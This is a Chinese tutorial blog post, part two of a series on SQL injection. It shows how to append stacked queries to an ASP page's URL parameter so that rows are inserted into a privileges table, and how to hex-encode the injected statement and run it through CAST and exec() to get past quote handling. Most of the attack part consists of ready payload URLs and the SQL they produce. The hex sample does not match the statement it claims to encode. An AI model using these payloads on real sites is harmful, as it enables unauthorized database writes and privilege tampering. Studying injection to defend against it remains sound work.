Sql注入深入解析二

细心的读者一定发现,我只插入了2个数值型,而没有插入字符型

1、插入int型

 

http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,Privs) values(1,1)')--

 

select top 10  * from log where sysFunName='登陆日志';exec('Insert Test(ID,Privs) values(1,1)')--

 

2、插入字符型

http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,username,password,Privs) values(1,'Test','123456',1)')--

 

select top 10  * from log where sysFunName='登陆日志';exec('Insert Test(ID,username,password,Privs) values(1,'Test','123456',1)')--

 

这么插入是不行的,语句不支持

那怎么办呢?

此时将引入黑客最常用的技术了,在sql的查询管理器中,输入一下语句,观察一下发生的变化

print cast(65 as varbinary)à0x00000041

print cast(‘A’ as varbinary)à0x41

print cast(0x41 as nvarchar)àA

print cast(0x4100 as nvarchar)àA

print cast(0x410000 as nvarchar)àA

print cast(0x41000000 as nvarchar)àA

 

 

0x表示十六进制,A的ASCII值为65,转化为16进制就是41,也就是0x41

看到这个,大家应该都明白了,就是把语句换为16进制写法。

提供一个简单的16进制转换函数

function change(flag)
   dim charChange,allLen,i
   allLen = len(flag)
   for i = 1 to allLen
      charChange = charChange&Hex(asc(mid(flag,i,1)))
   next

   change = charChange
End Function

 

insert Test (ID,usernaem,password,Privs) values(1,'Test','123456',1)转化为16进制:

0x696E7365727420546573742849642C757365726E616D652C70617373776F7

2642C5072697673292076616C75657328322C276C697A757775272C27313

233343536272C3229

注意:中间不可有回车

 

于是,这么输入

http://www.*.com/index.asp?fn=登录日志';declare @S nvarchar(4000);set @s=Cast(

0x696E7365727420546573742849642C757365726E616D652C70617373776F7

2642C5072697673292076616C75657328322C276C697A757775272C27313

233343536272C3229 as varchar(500)

);exec(@S)--

 

程序将这么执行

select top 10 * from log where sysFunName='登录日志';declare @S nvarchar(4000);SET @S=CAST(0x696E7365727420546573742849642C757365726E616D652C70617373776F72642C5072697673292076616C75657328322C276C697A757775272C27313233343536272C3229 AS varchar(500));exec(@S)--m j

 

于是,插入一条数据完成。

 

下一节将讲述一个最常见的注入攻击例子

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值